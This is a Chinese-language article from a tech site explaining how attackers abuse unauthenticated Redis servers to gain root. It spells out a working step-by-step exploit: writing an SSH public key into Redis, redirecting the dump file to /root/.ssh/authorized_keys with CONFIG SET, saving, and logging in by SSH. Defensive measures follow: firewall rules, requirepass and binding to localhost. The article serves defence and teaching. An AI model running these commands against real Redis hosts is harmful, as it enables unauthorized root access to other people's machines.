Redis- 如何防止攻击者利用未授权访问 Redis 服务的攻击获取目标机器的 root 权限

攻击概述

以下攻击步骤展示了如何利用未加防护的 Redis 服务器,通过配置 Redis 的持久化机制,将攻击者的 SSH 公钥写入目标机器的 ~/.ssh/authorized_keys 文件,从而获取目标机器的 root 权限。这是一种典型的利用未授权访问 Redis 服务的攻击方法。

攻击步骤详细介绍

1. 准备攻击者的 SSH 公钥

首先,攻击者需要准备自己的 SSH 公钥:

cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

这段命令执行以下操作:

  • 进入攻击者的 ~/.ssh 目录。
  • 使用 echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n" 命令将 SSH 公钥文件 id_rsa.pub 的内容包裹在前后两个空行中,并重定向输出到 key.txt 文件。

加入前后两个空行是关键,因为这样可以确保 authorized_keys 文件的格式正确,不会破坏已有的条目。

2. 将 SSH 公钥写入 Redis

将准备好的 key.txt 文件的内容通过 redis-cli 命令写入 Redis 中的一个键:

cat key.txt | redis-cli -h xx.xx.xx.xx -x set key

这条命令执行以下操作:

  • 使用 cat key.txt 读取 key.txt 文件的内容。
  • 使用 redis-cli 命令将内容写入 Redis 键 key 中。-x 选项表示从标准输入读取数据。
3. 连接到目标 Redis 服务器

通过 redis-cli 连接到目标 Redis 服务器:

redis-cli -h xx.xx.xx.xx
4. 获取并修改 Redis 备份路径

获取目标 Redis 服务器的当前备份路径:

CONFIG GET dir

将 Redis 的备份路径设置为目标用户的 SSH 目录(这里假设是 root 用户的 ~/.ssh 目录):

CONFIG SET dir /root/.ssh
5. 设置备份文件的名称为 authorized_keys

将 Redis 的备份文件名设置为 authorized_keys

CONFIG SET dbfilename authorized_keys
6. 检查是否更改成功

检查 dbfilename 是否成功更改:

CONFIG GET dbfilename
7. 保存当前 Redis 数据库

使用 SAVE 命令将当前 Redis 数据库保存到磁盘。由于前面的配置更改,Redis 会将数据库保存到 /root/.ssh/authorized_keys 文件中:

SAVE
8. 通过 SSH 连接到目标机器

最后,通过 SSH 使用攻击者的私钥连接到目标机器的 root 用户:

ssh root@xx.xx.xx.xx

防御措施

为了防止类似攻击,建议采取以下防御措施:

  1. 限制 Redis 端口访问
    使用防火墙限制 Redis 端口的访问,只允许受信任的 IP 地址访问。

    sudo ufw allow from your_trusted_ip to any port 6379
    sudo ufw enable
    
  2. 设置 Redis 访问密码
    在 Redis 配置文件 /etc/redis/redis.conf 中设置访问密码,以防止未授权访问。

    requirepass your_secure_password
    

    重启 Redis 服务:

    sudo systemctl restart redis
    
  3. 启用绑定 IP 地址
    确保 Redis 只绑定到本地 IP 地址或特定的受信任 IP 地址,而不是 0.0.0.0

    bind 127.0.0.1
    
  4. 定期检查 Redis 配置和数据
    定期检查 Redis 配置和数据目录,确保没有异常更改。

  5. 监控和报警
    设置监控和报警机制,及时发现和响应异常活动。

通过这些防御措施,可以显著提高 Redis 服务器的安全性,防止类似的攻击发生。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/838068.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亚信安慧AntDB:赋能业务管理 推动数字化转型

在当今数据驱动的信息时代,数据库正面临着前所未有的挑战与机遇。随着技术的飞速发展和用户需求的不断变化,传统的数据库解决方案已逐渐显得力不从心,难以满足运营商日益复杂的业务需求。而亚信安慧AntDB数据库则以其强大的功能和优越的性能&…

PyTorch进行CIFAR-10图像分类

本节将通过一个实战案例来详细介绍如何使用PyTorch进行深度学习模型的开发。我们将使用CIFAR-10图像数据集来训练一个卷积神经网络。 神经网络训练的一般步骤如图5-3所示。 (1)加载数据集,并做预处理。 (2)预处理后的…

sin^2(x) 的图像

[TOC](sin^2(x) 的图像) 正文 这里记录一下 s i n 2 x sin^2{x} sin2x 的图像。 函数值以正弦的形式在 [0, 1] 区间内波动。 如果大家觉得有用,就点个赞让更多的人看到吧~

Ant Design Vue 的组件库的<a-tab-pane>的force-render

在使用类似 Ant Design Vue 的组件库时&#xff0c;force-render 属性通常用于指示是否强制渲染标签页的内容&#xff0c;即使它还没有被显示。通常&#xff0c;在一个标签页组件&#xff08;如 <a-tab-pane>&#xff09;中&#xff0c;内容只有在用户激活该标签页时才会…

嵌入式文件系统

嵌入式文件系统 文件系统简介 在计算机系统中&#xff0c; 需要用到大量的程序和数据&#xff0c; 它们大部分以文件的形式存放在外部存储当中&#xff0c; 根据需要可随时调入内存使用 如果用户直接管理外存文件所面临的问题&#xff1a; 必须熟悉外存的物理特性了解各种存…

英语新概念2-回译法-lesson14

第一次回译 I had a amusing experience. I kept driving to the next town when I left a small village in the south of Franch.A teenager waved to me in the path.I stopped my car, he asked me to give him a lift.As soon as he get my car,I say good morning in Fr…

【Kubernetes】污点、容忍度、亲和性、调度和重启策略

标签、污点、容忍度、亲和性 一、标签1、定义2、给资源打标签【1】给Pod打标签【2】给Service打标签【3】给Node打标签 3、查看资源标签 二、节点选择器1、nodeName2、nodeSelector 三、污点、容忍度、亲和性1、node节点亲和性【1】硬亲和性【2】软亲和性 2、pod节点亲和性【1】…

LeetCode hot100-36-N

94. 二叉树的中序遍历给定一个二叉树的根节点 root &#xff0c;返回 它的 中序 遍历 。这题都写不出来&#xff0c;废了 以前学数据结构的时候&#xff0c;书上老师写伪代码&#xff0c;于是递归版的遍历在伪代码中看起来就很简单。但是怎么输出这个list呢&#xff0c;其实是另…

安泰电子电压放大器应用及示例是什么样的

电压放大器是电子电路中常用的一种器件&#xff0c;用于将输入信号的电压放大至所需的输出电压。它在许多领域中有着重要的应用&#xff0c;包括通信、音频放大、仪器测量等。以下是电压放大器的一些应用及示例&#xff1a; 信号处理&#xff1a;在许多电子系统中&#xff0c;需…

Kasawaki川崎机器人故障维修

在当今的自动化工业领域&#xff0c;川崎工业机器人以其卓越的性能和可靠的工作效率赢得了广泛的赞誉。作为机器人的核心组成部分&#xff0c;伺服电机的作用至关重要。然而&#xff0c;就像所有机械设备一样&#xff0c;也可能会遭遇电机磨损或故障&#xff0c;需要适时的川崎…

vue自定义权限指令

定义v-hasPermi指令 /*** v-hasPermi 操作权限处理*/import useUserStore from /store/modules/userexport default {mounted(el, binding, vnode) {const { value } bindingconst all_permission "*:*:*";const permissions useUserStore().permissions&#xff…

linux - 搭建部署ftp服务器

ftp 服务: 实现ftp功能的一个服务,安装vsftpd软件搭建一台ftp服务器 ftp协议: 文件传输协议 (file transfer protocol),在不同的机器之间实现文件传输功能, 例如 视频文件下载,源代码文件下载 公司内部:弄一个专门的文件服务器,将公司里的文档资料和视频都存放…

基于死区补偿的永磁同步电动机矢量控制系统simulink仿真模型

整理了基于死区补偿的永磁同步电动机矢量控制系统simulink仿真&#xff0c;该模型使用线性死区补偿的PMSM矢量控制算法进行仿真&#xff0c;使用Foc电流双闭环 。 1.模块划分清晰&#xff0c;补偿前后仿真有对比&#xff0c;易于学习; 2.死区补偿算法的线性区区域可调; 3.自…

5.13网络编程

只要在一个电脑中的两个进程之间可以通过网络进行通信那么拥有公网ip的两个计算机的通信是一样的。但是一个局域网中的两台电脑上的虚拟机是不能进行通信的&#xff0c;因为这两个虚拟机在电脑中又有各自的局域网所以通信很难实现。 socket套接字是一种用于网络间进行通信的方…

Python接口自动化测试之动态数据处理

在前面的知识基础上介绍了在接口自动化测试中&#xff0c;如何把数据分离出来&#xff0c;并且找到它的共同点&#xff0c;然后依据这个共同点来找到解决复杂问题的思想。我一直认为&#xff0c;程序是人设计的&#xff0c;它得符合人性&#xff0c;那么自动化测试的&#xff0…

自由职业是种怎样的体验?普通人如何成为一名自由职业者?

自由职业在哪都能办公自由职业在哪都要办公。 放弃幻想&#xff0c;没有不辛苦的工作&#xff0c;5年经验后端开发程序员&#xff0c;已经从事自由职业1年半&#xff0c;今天就来客观分享一下自由职业的利与弊。 时间自由&#xff0c;减少中间商赚差价 自由职业最让人羡慕的就…

React Native 开发心得分享

有一段时间没更新了&#xff0c;花了点时间研究了下 React Native&#xff08;后续用 RN 简称&#xff09;&#xff0c;同时也用该技术作为我的毕设项目(一个校园社交应用&#xff0c;仿小红书)&#xff0c;经过了这段时间的疯狂折腾&#xff0c;对 RN 生态有了一定的了解&…

【实战selenium框架下在爱企查爬取企业的历史变更信息】文末附Google浏览器和驱动的下载

代码如下 # 导入包 import random import time from tkinter import filedialog import tkinter as tk import xlrd import os import datetime import csv from selenium import webdriver from selenium.webdriver import Keys from selenium.webdriver.common.by import By…

图搜索算法-最小生成树问题-普里姆算法(prim)

相关文章&#xff1a; 数据结构–图的概念 图搜索算法 - 深度优先搜索法&#xff08;DFS&#xff09; 图搜索算法 - 广度优先搜索法&#xff08;BFS&#xff09; 图搜索算法 - 拓扑排序 图搜索算法-最短路径算法-戴克斯特拉算法 图搜索算法-最短路径算法-贝尔曼-福特算法 图搜索…

Flutter 中的 AlertDialog 小部件:全面指南

Flutter 中的 AlertDialog 小部件&#xff1a;全面指南 在Flutter中&#xff0c;AlertDialog是一个用于显示警告、错误、信息或者确认消息的模态对话框。它提供了一种简单而直接的方式与用户进行交流&#xff0c;通常用于需要用户注意的重要信息或者需要用户做出决策的场合。本…